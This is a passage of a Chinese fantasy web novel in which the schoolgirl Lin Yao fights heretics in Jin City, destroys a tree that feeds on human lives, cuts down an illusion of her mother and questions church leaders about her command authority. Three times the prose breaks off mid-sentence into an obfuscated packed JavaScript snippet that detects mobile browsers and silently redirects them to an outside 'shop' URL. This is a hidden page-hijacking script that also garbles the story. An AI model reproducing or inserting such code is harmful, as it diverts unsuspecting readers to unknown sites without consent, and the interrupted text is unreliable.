可最大的问题是——我根本是无辜的呀!我也是被牵连的一方好不好?!拜托能不能别啥人啥破事都找到我头上来啊?!我决不给教会背锅! 混蛋! 林瑶在内心疯狂地骂骂咧咧,表面却装得很怂,生怕对方当场找她报仇,便小心翼翼地举起左手,弱弱地为自己辩解:“那啥……真不好意思,我跟你一样都是教会的受害者,所以……如果你是来找复仇对象的绝对是找错人了。” 麻烦给我意识到这一点,然后赶紧去找你们真正的仇人进行打击报复啊!我一定会坐在旁边帮忙加油鼓劲收拾残局哒! 【没找错。】巫侍看了面露紧张的女孩一眼,神色淡淡,【别担心,我不打算对你做什么。】 【更何况我也做不了什么。】 “那您是来……?”林瑶一脸迷惑。 【我只是来看你过得如何。】男子垂眸直视女孩茫然的双眼,寡淡的目光无悲无喜,语气平平。 【既然你在这里过得还算不错,我也就没什么好对你讲的了。】 语毕,他后退半步,身子逐渐虚化溶解,似乎今日过来这一趟仅仅是为了跟她说几句话,说完便彻底丧失了交谈的兴致准备离开。 然而就在巫侍即将消散的前一刻,他化作星光的修长胳膊“啪”的一声被人一把抓住,模糊的身影重新变得凝实。 遭遇阻止的白发青年顿时惊讶地回望对方。 “这位先生,”林瑶紧紧握住他的手腕,十分平静地注视着他,“能请您暂时不要走吗?” “我有些话想问您。” 她生平最讨厌那种讲话讲一半就故作神秘撒腿跑路的谜语人了!可恶,好好跟人交代清楚是会要了你们的命吗?! 仔细观察林瑶的脸色,知道今天难以脱身的巫侍张开嘴,似要回应少女,可耳边骤然响起的巨大爆炸声却再一次地打断了他。 轰! 于是男人默默地闭上嘴转而移开视线,透过厚实的门墙望见了馆外各处徐徐升腾的硝烟。 林瑶自然也听见了巨响,眼神瞬间锐利地直直射向他,厉声质问:“你们干的?” 不怪她怀疑,因为对方明显是异端中的一员,又出现于昨晚才刚发生过恐怖袭击的晋城,若是脑子永久抽筋再发动新一轮袭击也属正常。 【别误会,我跟那群低能儿不是同一路。】从女孩的神态里清楚读出敌意的巫侍表情冷淡,【他们信奉的是八位古神,过去同我们也算是敌人。】 【以及,】他抬起被捉住的那只手晃了晃,【不去救人反而在这跟我浪费时间真的好吗?】 “……” 林瑶盯着对方,一点一点地抿紧嘴唇,呼吸愈发急促,握住他手的力道更是越来越重。 好不容易才逮到一位知情者,回家之路的进度大大提高,就这么放弃能甘心吗?而且外面还有裁判所的成员在,他们会救人的,这种情况下缺自己一个也没啥吧? 再说了,她毫无杀敌救灾经验,贸然冲上去能起到何作用?反倒会给人添乱,眼下不如先处理解决自己的事…… “草!” 死死咬着牙的林瑶猛然爆粗,骂完就从自己兜里掏出一白鸽强行塞给对方,匆匆丢下一句“看好他”的命令便急急忙忙地跑出去,只留下一人一鸟在身后迷茫地面面相觑。 洁白的灵鸽无言片刻,待少女的背影消失才扑腾着翅膀飞离青年的手掌心与他面对面地互相平视,鸟喙一张竟吐出林溪晗的声音,含带轻微的不满:“你对她那么凶干嘛?” 【这叫凶?我甚至没骂她。】巫侍简直无语,真想把远在帝都的那个瞎了眼的混账东西拉过来让他看看凶的人到底是谁。 林溪晗懒得搭理他。 自家从未实战过的乖巧外甥女第一次跟凶残的异端战斗,急着去盯现场的他此刻没有任何想和旧友寒暄的心情,加上小瑶临走前下达的指令…… “虽然我们已经有三千多年没见过面了,但现在不是叙旧的时候,总之……”白鸽歪着脑袋,非常可爱地扇动羽翼。 他接着道:“先打一架吧。” 【……】 *** 对自己离开后一人一鸟爆发的纷争毫不知情,赶着去救人的林瑶刚踏出艺术馆的大门,就看见原本美丽无比的晋城不知被谁变成了一片粘稠暗沉的阴森沼泽地。 凶狠残暴的可怕魔兽四处作孽,异化的植物挥舞着粗壮的藤蔓横扫房屋,将藏身的平民从室内拖出吞入花蕊咀嚼,受吞吃的人被花吐出去后又化身新的魔兽残害同类。 恐怖的景象宛如深渊地狱,到处是绝望的哭喊与疯狂祈求的祷告,人们死命挣扎着企图爬出沼泽,却只爬出上半身,透明的蛆虫粘附在腰部间啃食,残留的细碎肉沫飘浮于混浊水面,野草收缩缠绕。 “……”活在21世纪,从未见过这种极其血腥画面的林瑶直接被震在原地。 蠕动嘴唇,指尖略微颤抖,她下意识地往后退了一步想要躲回安全的艺术馆,可第二秒就反应过来狠狠地连扇自己几耳光,咬紧牙关埋头猛冲进战场。 朝四面八方扩散开的风刃切断疯长的枝条,从花口夺人的林瑶左肩扛着一头羊,右手搂着哇哇大哭的扎辫子的小屁孩,脚下踩过的泥沼通通化为坚不可摧的青石板砖。 她开辟出了一条安全无害的道路,身后跟着一群同样各显神通救下平民的修仙修魔者。 他们或扛或抱着人,浩浩荡荡地撞翻来袭的魔兽大军,径直闯入教会紧急布置的防守区域,神官念诵咒语治疗伤患,武警与战士排兵布阵,持各种热武器瞄准周围的怪花进行地毯式轰炸,打得敌人痛苦嚎叫不敢再接近这块地方。 成功抵达安全区将孩子和羊全交给前台登记,终于能够休息一会的林瑶俯身撑着膝盖喘气,连续高强度的战斗差点把她的体力榨干,心脏直到现在都还跳得格外厉害。 暗自咽了口唾沫挺直腰板,她眯眼打量战况,感觉局势很不明朗,怪物依旧活跃不见丝毫疲惫,并且它吞噬了大量平民导致生产的魔兽源源不断,仿佛无穷无尽般令人绝望。 ……必须想办法除掉源头,否则最后先一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220703|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步被耗死的只会是我们。 就在林瑶思考该怎么揪出罪魁祸首的时候,她突然察觉到背后有人接近。 以为是偷偷潜入的阴险魔兽,少女倏地扭转头眼神锋利地拔刀出鞘,刚要砍下去才发现是教会的一名神官。 “林小姐。”这位对悬于头顶的长刀毫不在意的金发青年略微弯腰,特别恭敬地向她行礼,语气含着明显的庆幸,“您平安无事真是太好了。” “救驾来迟是我之罪,待今日事完毕我会自行前往刑讯室领罚,希望您不要为此气坏了身子。” 在认出来者身份的刹那间就收回武器的林瑶,闻言一脸诧异地注视他,直觉对方是真心的便被吓得连连摆手拒绝:“不不不!这又不是什么大事,拜托你千万不要冲动啊!” ……我哪来那么大面子能让人因为自己划破的一道小口子就进刑讯室受罚呀?兄弟,封建王朝时代早消亡了,你别被高层洗脑啦! 听懂女孩潜台词的神官笑了笑,遂体贴地将话题转向正事:“您对当前局势有何想法呢?” “……想法?”看对方如此重视自己的建议,林瑶不免踌躇,稍显迟疑地抬手指自己,“我、我只是一个普通的高中生,任何经验都没有,可能没办法提出什么好的主意。” “即便是这样你也愿意听我陈述吗?” “当然。”他微微一笑,轻声安抚慌张的她,温柔平和的嗓音充满了无与伦比的郑重之情。 “林小姐您拥有战时最高指挥权,凡是您的命令我们都会听从的,不用担心,因此——” “请下令吧。” 我们会是你最忠实的猎犬,为你撕裂所有前进路上的阻碍,实现你的心愿。 “……”大概是被教会给予的这份超乎预料的惊人权利震撼住了,林瑶怔怔地盯着他,像是一呆子,好半天才回过神,不禁抬高手露出欲言又止的神情。 但考虑到目前尚处危机之中,她暂时抛开那些会让自己头疼的东西,专心破局。 “好吧,那你们能联系到裁判所叫人来支援吗?论打异端他们才是专业的吧?” “很遗憾,早在异端发动袭击时我们就尝试过联络外界,可惜无用……想必是敌人屏蔽了信号,意图阻止增援。” 这个倒是在意料之内,林瑶摸着下巴沉思:“晋城有多少战力?能拖住魔物吗?” “没问题。”金发的神官果断应答。 “教会的神职人员、警方士兵和民间的奇人异士,统计加在一起足以维持局势不让其恶化,不过……”他说到一半又犹豫,“我们无法保证零伤亡,毕竟那种变异的怪花可以将平民转化成魔兽。” 他没说的是:要猎杀的魔兽里会混杂有普通的老百姓,倘若最终找不到复原的方法…… “要是你们实在分辨不出也没办法恢复他们,”林瑶闭了闭眼,曾经清澈悦耳的声音如今听起来居然变得沙哑又苦涩,让人听了莫名其妙地想落泪,“那就放弃吧。” “以存活者为优先。” “是。”对方低头,顺从地领命。 “至于我……”她重新睁眼,转身望向城南方。 能够观测命运的眼眸十分清楚地映照出西南方向的天空,那里有一大团漆黑浓厚的乌云汇聚,仿佛装满了鲜血永远洗不掉的罪孽。 连接两个空间的传送门打开,少女孤身一人,站在金线的边缘,表情相当平静。 “我会杀掉他。” 伴随着这句淡然之语落下,她往前半步,毫无迟疑地纵身一跃—— 跳进了这团扭曲的漩涡。 34.斩杀 晋城的西南方是一片尚未开发的荒凉野地。 这里到处长满了野草野花,没有建筑物也没有任何人类干涉过的痕迹,是野生动物与流浪汉的天堂。 然而原本还算热闹的野地此刻却变得寂静无声,动物不再现身,流浪汉早已被怪物吞吃入腹化为补充能源的储备粮。 荒野的中心不知何时长出了一棵巨大的果树,腐朽的树根深深扎于地底,仿佛在向某处传输生命力。 粗壮的枝干挂满枯黄的藤蔓,鲜红的果实犹如人体内不停跳跃的心脏,一张一缩,随风摇晃时隐隐传出婴儿般细弱的哭声,阴森且诡异。 身穿宽松的灰袍依然遮不住臃肿肥胖的体型,像鳄鱼一样压低重心四脚着地缓缓向前爬行的怪异物种抬头仰望顶上果树,似乎对它的成长感到满意,张开嘴,呕哑难听的嗓音随之流淌而出。 【快长,快长,赶快多吃点食物补充营养,这样结出的果实才越大越好,神明才会喜悦地降临,才能驱赶那个可怕的怪物。】 说着说着他竟然跪伏在地,捂着脸哽咽,宛如一个被坏人抢占了玩具只能悲伤落泪的乖孩子,极其委屈地向“父母”哭诉。 【啊——神呀,我们无所不能的神呀!】 【那群卑鄙无耻的外来者不仅杀掉囚禁您,还夺走了您的权柄,夺走了属于我们的世界。】 【您的儿子是叛徒,您的奴隶是叛徒,您的食物是叛徒,就连圣殿里那位供奉世界之树的高贵巫女也是叛徒!】 我们会献上最完美的祭品帮助您苏醒,然后—— 【请您纠正这些不该有的错误,让一切都重回正轨吧!】 话音刚落,震耳欲聋的恐怖雷声轰然响起。 阴沉的天空乌云扩散,金黄的丝线迅速连成了圆圈,大门开启,一道璀璨耀眼的光束从天而降,带着毁天灭地般的气势直直劈向正中央那棵由人命灌溉养成的罪孽之树。 【哼。】嗤笑一声,他傲慢地扬起畸形头颅,伸手指向光束,幽蓝的火焰随即缠绕上那道光,将其焚烧得干干净净。 【来得真快啊,走狗。】异端冷冷地吐出一句谩骂,猛地握紧拳头,天空的传送门即刻破裂爆碎,阻断了后续支援。 早有预料的少女翻身躲过朝自己射来的碎片,不敢轻易踏足地面,便只停留在半空居高临下地俯瞰,面部覆盖着一层薄薄的迷雾让人无法看清。 观测命运的眼眸落向那棵不断散发着诡谲气息的大树与鲜艳奇特的果实,视野内,无数漆黑的烟雾从四面八方涌来,集中于一颗颗心脏,好似在拿别人的生命供养婴儿。 不妙,要是让那玩意诞生了绝对是一场灾祸,死掉的人和造成的损失会更多。 不再犹豫,林瑶果断出击挥手召唤雷霆,目标定为树根。 ——只要把根砍了树就会枯萎! 成千上万道紫色的雷电汇聚在一起如天罚降下,对方却不慌不乱,弹指间屏障升起与天雷相撞,擦出激烈的火花。 攻击被阻拦林瑶也不恼,反手唤出一把长弓。 她挽弓搭箭,逐渐拉紧的弓弦一弹,射出的一箭化作万箭,在即将撞上火球的瞬间突然拐弯绕过防守直取果实。 奇怪的是,异端居然没有回防,反倒任由箭矢穿透宝贵的红果。 林瑶不免有些疑惑,下一秒却震惊地瞪大双眼。 只见那一颗颗本以为无比脆弱的果实,在遭遇袭击的刹那间竟裂开条条缝隙,张开了布满尖利獠牙的猩红大嘴,直接将箭矢吞入,而与此同时,林瑶也感觉到自己的部分力量流失,显然是被阴险狡诈的鬼树吸收了。 “我草你*****!”她忍不住骂出一句特别脏的脏话,漂亮的脸蛋上明晃晃地摆着嫌弃厌恶,内心却冷静了下来快速思考对策。 目前有一个问题,她必须弄清楚在城内肆意搞破坏的是哪一方,异端?还是这棵树? 因为这决定了接下来的战斗自己要怎么分配力量比例才能更有效地对抗两边。 而且外部打击无效是否连内部打击都无效? 缺乏战斗经验的林瑶轻轻嘁了一声,紧紧蹙眉,越发觉得头疼。 不过这一轮的试探结束她也明白了这个异端的实力大概是在哪层阶梯,对方亦是如此。 【啧,旗鼓相当吗?】他微微眯起眼睛,顿时不屑地冷哼,【那只蜱虫还敢说她的性格软弱?能拥有这么大的本事,吃掉的人必以万计,这种厉害家伙的性格会软弱?】 【果然不该相信一群天真虫子的话。】 林瑶压根听不懂异族的语言,即使尝试思维传递也被狠狠拒接,看来是瞧不起她完全不愿意沟通了。 既然没法交流那索性就继续打吧,不管怎么样,总归要先干掉守护者才能切除巨树。 不退反进,林瑶手握能够斩断万物的长剑朝着下方极速俯冲,数不清的荆棘向着天空延展试图刺穿少女柔弱的身躯。 无需特意躲避,那些荆棘也不会伤害到她。 林瑶冷静地穿梭于各种攻击中,冲至他身前毫不犹豫地持剑斩下,却被斧刃挡住。 跪伏爬行的怪物慢慢变成方便战斗的健壮人型,他站起身,手里握着一把锋利的开山斧,牢牢架住来自最上方的猛烈冲击,不见丝毫畏惧。 【就这?】他嗤笑嘲讽,【连挠痒痒都不算。】 虽然语言不相通,但林瑶能通过对方的神态看出他对自己的轻视,于是一点都不客气地反喷回去:“没吃屎吗?力气真弱。” 这番骂语听得异端勃然大怒,原先还想完整保留祭品的身体以献给古神,此刻却再也忍不了地用力推开她冲着面门挥斧劈下,可惜被少女灵活避开。 趁敌人与本体缠斗,另一个林瑶隐藏身形悄悄摸向鬼树,刚准备破坏树根,结果头顶垂落的藤蔓绕过她的脖颈径直绞断,又一次吸收力量补充了自身。 ……不行,再这样下去输的人一定会是我。 察觉到体力快要耗尽的林瑶咬着牙挥剑逼退对方后果断远离,同异族拉开了十几米的安全距离。 她眯着眼注视对面,脑子飞速转动。 倘若外部的攻击始终无效,那么…… 深呼吸,在异端谨慎的目光中女孩忽然闭眼扬起双臂。 白茫茫的山间雾气从她体内溢出往四周蔓延,没过多久就将整片荒野都包围了起来。 发觉自己的视线渐渐模糊看不清周围的异族保持警惕并立刻尝试驱散白雾,然而效果不佳,只隐约瞧见一道漆黑身影。 很快,黑影变得愈发清晰。 先是修长的腿,再是劲瘦的腰肢与白皙的手,穿着平整服帖的西装,最后显现出一张林瑶作为外甥女极其熟悉的温和脸庞。 骤然看见那张不曾想过会出现于此的脸,他本能愣住。 可是紧接着,他的身子竟微微颤抖,瞳孔收缩,最终仿佛火山喷发一般死死抓着头发,另一只手极度愤怒地指着幻影吼叫—— 【叛徒!叛徒!你这个背叛了神灵的叛徒!该死的叛徒!】 那是一种深入骨髓的对背叛者的憎恨。 恨得即便知道这仅仅是个幻象,他依旧控制不住地爆发怒火,撕心裂肺地低吼,白光骤亮将影子炸得粉身碎骨并癫狂地流泪大笑。 【哈哈!哈哈哈!去死吧去死吧!你这叛徒!】 对方突然发疯的激烈举动吓了林瑶一跳。 她本来想着舅舅身为教会高层,肯定经常跟异端打交道,若是放出他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14285102|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻影说不准能短暂控住敌人给自己争取点时间,没想到这成果好得过了头。 不过林瑶此时也没功夫细究双方的矛盾。 借助爆炸的遮掩,少女飞快突破第一层防线悄然闯进藤蔓的进攻范围,在柔软的藤蔓即将绞杀自己的那一刻—— 她纵身跃入了鬼树的内部,主动与其融合。 甫一进树,林瑶就感觉自己像沉进了冰冷凝滞的海底,难以行走半步。 厚实的屏障裹住了全身,却还是挡不住周边强大的吸引力,只能眼睁睁地看着它一点一点地吸走身体里的力量,绝望地等待枯竭。 林瑶可以做的——就是在自己被彻底吸干变成一具枯骨前毁掉核心,置之死地而后生。 这是愚笨的她唯一能够想到的解决办法。 危急时刻女孩选择了豪赌一场,如此疯狂的行径若是让人知晓定会感到极大的震撼,万一树内没有所谓的核心呢? 但幸运的是,在力量被果树夺取至仅剩单薄一层甚至若隐若现之时,她赌赢了。 潜藏在海水深处的通红心脏跟随呼吸缓慢跳动,如同沉浸于梦境中的孩童,正安静地陷入睡眠。 林瑶举起用剩余力量变出的长刀,表情坚定地对准心脏预备刺下—— “……瑶瑶……瑶瑶……” 伴随着一声接一声不知从何响起的自己极为熟悉的空灵呼喊,翻涌环绕的海水汇集,共同构建出一个瘦弱纤细的漂亮女人拦在她的正前方。 柔顺的长发,墨玉似的圆润杏眸,源自东方的古典气质,清秀的脸蛋同她有六七分相似,只是眉眼间刻上了岁月的痕迹,温柔娴淑,韵味十足。 见到这张脸的瞬间林瑶不禁怔愣,高举的利刃停至半空。 “……妈妈?” 女儿几不可闻的呢喃唤醒了沉睡的“母亲”,她的神色逐渐生动,像是活了过来,瞅见自家娃的第一面脸上就浮现出又惊又喜的笑意,下意识捂嘴,眼角泛着泪珠呜咽:“乖宝!” 然而第二秒她就迅速变换脸色嘴里喷火:“臭丫头你这三个多月究竟跑去哪里玩了?!知不知道爸爸妈妈找你找了多久?!我们都要以为——” 话未说完林母便注意到女儿身上受的伤,立马慌张地伸出手想碰一碰她,可又害怕会碰疼她,只能虚捧着女儿的脸流下泪来。 “天杀的人贩子!他们是不是打你虐待你了?畜牲东西就该被淹死!”她气愤地在那咒骂,声音却含着明显的哭腔。 “走,乖宝,跟妈妈回家,妈给你做凉拌牛肉,反正谁爱干谁干,咱们不搭理那些破烂事了。” 母亲温暖的双手轻轻拢着自己的面颊,滚烫的泪水似滴落在她的心田,烫得她好痛,痛得她眼泪也徐徐滑过了脸庞。 “……妈。”林瑶低垂眼帘短暂地放纵自身在这一刻尽情落泪,嘴里轻声喃喃,“我想你和爸了。” “对不起。” 她明明在道着歉,可紧握刀柄的手却仍是稳稳当当,朝前挥刀的果断不见一丝一毫的动摇。 少女近乎冷酷无情地斩断了女人细弱的脖颈,粘腻的鲜血喷溅上脸颊的同时也斩断了躲藏于幻象之后只差毫米就能刺穿自己眉心的荆棘。 被女儿斩杀的“母亲”一脸诧异地望着她,望着她平静面容上无声流淌的泪水,忽地笑出来,抬起手轻柔地抚摸孩子的脸,不再隔着虚无而是真真实实地触碰到了她。 “没关系。”她温声安慰女孩,“妈不怪你。” 随着尾音的飘落,女人也化作星光渐渐消散在了寒冷的海水里。 “……” 所有的阻碍都彻底消失了,林瑶沉默地悬浮于跳跃的树核前,然后再度举刀—— 杀死了心脏。 35.谜团 核心被摧毁的刹那间巨树痛苦地震颤,原本鲜艳夺目的果实猛然爆发出婴儿般的哭嚎,为了活下去开始疯狂抽取附近所有动植物的生命力。 可惜不管它们再怎么努力再怎么拼命地挣扎,都始终逃脱不了逐渐枯萎并死去的命运。 当这棵浸泡在尸山血海中靠吞噬无数生命才能成长的罪孽之树化为焦黑烟雾一点一点消散时,乌云散开,缓缓露出了被隐藏于背后的晴朗天空。 金色温暖的阳光下,一道纤细娇小的瘦弱身影随之浮现。 随手擦掉脸上沾染的干涸血迹,林瑶面无表情地盯着果树消失之地,手里还握着长刀,鲜红的血液顺着刀锋流淌而下,落至地面开出了花。 【你居然没死?】阴沉嘶哑的嗓音自身后传来,混杂着些许难以置信。 光听语气不用猜都能听懂对方的意思,林瑶握紧刀柄慢慢转过身,一脸平静地看着他:“怎么?我活着你很惊讶吗?” 【你会跳进去主动融合我倒是不觉得奇怪,毕竟你们这群走狗为了所谓的信仰什么都愿意做。】他惊讶的是女孩竟然没被神树吸干全身,换作自己肯定就会死,难道她的容量实际上比他还多? 而且,这张脸怎么瞧着有点眼熟…… 微微眯起眼,他仔细辨认着少女擦掉血迹后渐渐显露的真实样貌,片刻后倏地瞪大双眼,不知是把林瑶错认成了谁,颤抖着手指向她的脸惊呼。 【你!你!难不成你也是——】 然而话未讲完,他的声音就戛然而止。 像是在那一瞬间看见了某个极为恐怖的决不能直视的存在,这个杀害了众多生命的残忍异端竟突然爆发出尖叫。 伴随着非常清晰的仿佛玻璃珠子炸开般的细响,他死死捂住自己的眼睛摔在地上翻滚并痛苦哀嚎,眼角徐徐流下两行血泪,狠狠嚼烂的舌根不停念着别人听不懂的求饶词。 因失去过多力量导致没法再掩盖自身容貌的林瑶见状不由愣住,但很快就反应过来,迅速扭转头往自己的身后望去,余光却只来得及捕捉一根轻轻飘落的黑羽,再无其他。 “……”意识到刚才出手之人是谁的少女不禁沉默。 不过没等林瑶沉静太久,她就望见了遥远的天边缓慢亮起的微弱光芒。 传送的大门开启,一道接一道身披黑袍的人影从天而降。 在狂风中猎猎翻飞的漆黑衣袍,掩盖相貌的宽大兜帽,如雪花般洁白无瑕的审判之剑张开了自由的羽翼,璀璨耀眼的金黄火焰缠绕着图腾熊熊燃烧。 黑袍上刻印描绘的教徽神圣而凛然。 ——裁判所的支援终于到了。 林瑶静静地注视他们,捏紧刀柄的五指跟着放松下来。 看来晋城的求救信号成功发送出去了,要是他们再晚来几秒钟,被巨树吸收太多力量的她必然会死在没多少损失的异端手上或被抓走献祭。 真是幸运。 “我等救驾来迟,请您恕罪。”甫一落地就控制住罪人的裁判所成员们齐齐跪地握拳贴紧心脏低头向圣女行礼,举止满含恭顺,“希望您没有受伤。” 或许是因为刚刚斩杀了母亲的幻象,林瑶反常地没有对这种奇怪别扭的场景感到羞耻,内心始终平静如水,表情依旧无动于衷:“起来吧。” “是。”众人听从命令纷纷站起身。 “林小姐。”强行压制发疯异端的两位成员看向少女,恭敬询问,“这位胆敢伤害您的无礼之徒该如何惩戒?需要挖掉他的眼睛再大卸八块喂魔兽吗?” “留活口。”她神色淡淡,“我还有些话想问他。” “好的。” 见他们领命掏出镣铐锁住疯狂挣扎的异端并堵住他的嘴,林瑶这才转头望向站在自己身边的另一位裁判所男成员,平稳询问情况:“城里局势如何了?” “二十五分钟前队长和主教共同抵达晋城控制住了局面,多亏您及时毁灭了古树,队长才能这么迅速地杀死魔兽与变异的怪花,至于那些变成魔兽的平民,主教已经将他们全部复原。”他先鞠躬行礼然后才回答,“请您放心。” “古树?” “是生长于旧时代的植物,异端经常种植它们用来夺取别人的力量供奉古神。” 林瑶皱眉,不想再继续这个讨厌的话题便重新交代:“方才我毁掉古树时异端居然一点都不生气,反而态度平和地同我交流,要调查清楚原因,可能他还留有什么后手。” “也许是他们习惯了失败呢?毕竟每次复活古神的行动都会被首领破坏。”将毛绒绒的厚大衣披到圣女肩上怕人着凉的一位女性成员随口答道。 “当然,我们也会持续追查这件事的,避免此类灾难再发生。” 林瑶接过对方递来的湿毛巾,一边擦拭着有些脏脏的脸庞一边思考着点头。 ……现在最重要的已不是后续发展而是撬开异端的嘴得知真相。 她垂眸,冷静地心想。 为何他会对自己的这张脸反应那么大?甚至表现出了应激,而使者又是为什么要阻止他?是怕他会吐露真相吗? 倘若真是如此就说明异端那边同样藏有线索。 林瑶忽然想起今早遇见的白发青年。 他也是异端吧?并且一副知晓很多秘密的样子。 加上他对自己的恶意不算大,应该能沟通,就是不晓得舅舅的式神有没有把人留下。 ……唉,希望渺茫啊。 可是就在此时,负责束缚罪犯的两个裁判所人员拖着莫名晕倒像条死咸鱼一样的异端走过来,仿佛做错事的乖孩子般满脸无措地看着林瑶,翕动着嘴唇近乎语无伦次地嗫嚅呼唤:“林、林小姐。” “他死了。” “什么?”林瑶立即转移关注,错愕地盯着他们。 “我们发誓绝对没有违背您的命令!”生怕被圣女误解讨厌的两人顿时急了,连忙你一句我一句地为自己辩解,“真的!直到刚才这个家伙还在闹腾,我们原本想打断他的双腿强逼他安静,结果刚一伸手他就突然不动弹了,我们奇怪地进行查探才发现他呼吸没了心跳停了。” “请您一定要相信我们!” “……我信。”骤然碰到这种突发意外,林瑶也被打了个措手不及,但并不感到惊讶,只接着问,“能搜查他的大脑和灵魂吗?” “我试试。”有人走过去半蹲着身子把手搭在尸体的脑门上,片刻后朝她遗憾地摇摇头,“不行,他的大脑和灵魂都被不知名的力量给搅烂了,无法搜魂。” “……是嘛。” 既然使者会阻拦对方说出真相,那选择直接解决源头就没什么可诧异的了,她现在只是觉得有点失望和低落。 果然没办法简单地走捷径啊。 少女叹气,可依然振作起来努力安慰那俩人:“没事,死就死了,一个犯罪分子而已。” “我们先回城吧,我想见见主教和队长。” “是。”收到命令的众人再度垂首。 ****** 回到市中心,林瑶发现城市有了大变化。 被魔兽肆意破坏的残垣断壁重新变回了高矮不平的建筑群,倒塌的绿植生机盎然,粘稠阴湿的恐怖沼泽地彻底消失,取而代之的是干净整洁的街道,她还瞅见有商家推着小推车出来路边摆摊叫卖…… 短短的半小时内,原是废墟之地的破烂城市竟再次变得热闹喧哗,人们的脸上也多出了发自内心的灿烂笑容,好像时光倒流什么灾祸都没发生过一般,神奇得接近于不可思议。 林瑶位于营地的门前,默默地注视这一切。 身后响起脚步声,她回头,罗丽娅抱着一布娃娃笑着向她打招呼:“嗨,好久不见啦,小瑶。” 样貌精致的女孩身披裁判所的黑色长袍,扎着漂亮的麻花辫,笑容又甜又软,宛如邻居家喜欢缠着姐姐玩的小妹妹,可爱得像天使。 她旁边站着一位白发苍苍的老爷爷,穿着教会主教的白金长袍,乐呵呵地捋着胡子微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14290281|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看上去亲切又和蔼,同样是林瑶认识的老熟人。 “洛克主教。”少女点点头,冷淡地问好。 “你好呀,小瑶。”洛克打完招呼就眯着眼仔细观察对方,关切问,“那个该死的异端有没有伤害你?如果受伤了我可以帮忙治疗伤口。” “谢谢,但我暂时不需要治疗。”林瑶毫不在乎自己受的伤,目光只放在大人身上,直勾勾地盯着他们的神情,“现在我们来谈正事吧。” “为什么教会的那些人会遵从我的命令还说我拥有战时最高指挥权?” “请不要试图欺骗我,我想知道真正的理由。” “……”罗丽娅与洛克互相对视一眼,随后就转过脑袋,对待她的态度明显变得恭敬许多,异口同声地回答,“因为这是教宗大人下达的旨意。” “所以是为什么?”林瑶没有被糊弄过去,始终紧咬着关键问题不放,“教宗大人意欲何为?” “具体原因我们并不知晓。”洛克微笑着捋了捋胡子,看她的眼神却很温柔,“我们只知道您是被主选中的人,仅凭这点就足够了。” “……”林瑶紧紧抿着嘴唇,无意识地握拳。 “您还有想问的吗?” 大概是明白在他们那里问不出什么有价值的东西了,她闭眼,语气平淡:“没有了,你们去忙吧。” “好的。”罗丽娅极温顺地应声,可在离开前却仍然面露担忧地关心了她一句,“小瑶,无论你在心里是怎么看待我们的,都请你先照顾好自己。” “安心休息吧,我已经叫别人帮你准备好酒店房间和晚餐甜点了,后面如果调查有进展我也会发一份报告给你的。” “……嗯,谢谢你,罗丽娅。” “不客气~” 与忙碌的两个人分别,林瑶在一名神官的带领下走进一家五星级大酒店,住的还是豪华的总统套房,柔软的床铺让人一看就想躺上去尽情翻滚享受。 “那我便送您到这,若是您有什么需求可以摇铃转告给前台,我就在那,随时待命。” “……哦。”从来没被人伺候过的林瑶不懂现在该说点啥才比较好,只能干巴巴地憋出这么一句,目送对方行礼后离开。 直到屋内仅剩自己一人,气氛变得宁静,她才敢放松警惕流露出疲惫的神色。 拉上窗帘,黑暗降临在这片空间,摆放于柜顶的八音盒亮起荧光,优美动听的舒缓音乐恍若山涧清澈的溪流,在人们的心中久久回荡。 林瑶打开浴室的门,脱掉被血染红的衣服,淋着热水躺进宽阔的浴缸,玫瑰花瓣漂浮于水面,散发出的浅淡清香萦绕鼻尖,好闻得令她昏昏欲睡。 不过她还不能睡。 主的选择,教宗的旨意,艾遥与异端面对自己这张脸时的奇特表现,曾经在校园见过的倍受神使喜爱的那位黑发红眸的青年……种种难题加在一起让少女不自觉地陷入深思。 造物主的目的是什么?使者为何要封口?而且大家都在问她喜不喜欢这里,究竟是为啥?莫非是希望她能留下来不要想着回家?哈,她怎么可能会留在这个糟糕的世界啊? 回,当然要回。 她肯定能回到自己的故乡,回到父母的身边。 ……回到父母的身边…… 【妈不怪你。】 母亲临死前温和轻柔的声音再一次响起。 于是等林瑶回过神时才发现——自己竟然抓着几片玫瑰花瓣正使劲揉搓着手背。 那股力道重得连娇艳的花瓣都沁出了汁水,白嫩的肌肤也都变红了,甚至还擦破了皮。 鲜红的血液与香甜的花汁融为一体,顺着波动的水流四处漂游,最终消失于静谧的水中,无影无踪。 “……” 林瑶定定注视着自己握刀的右手心,低垂着眼帘不知在想些什么,莫名其妙地陷入了沉默。 许久。 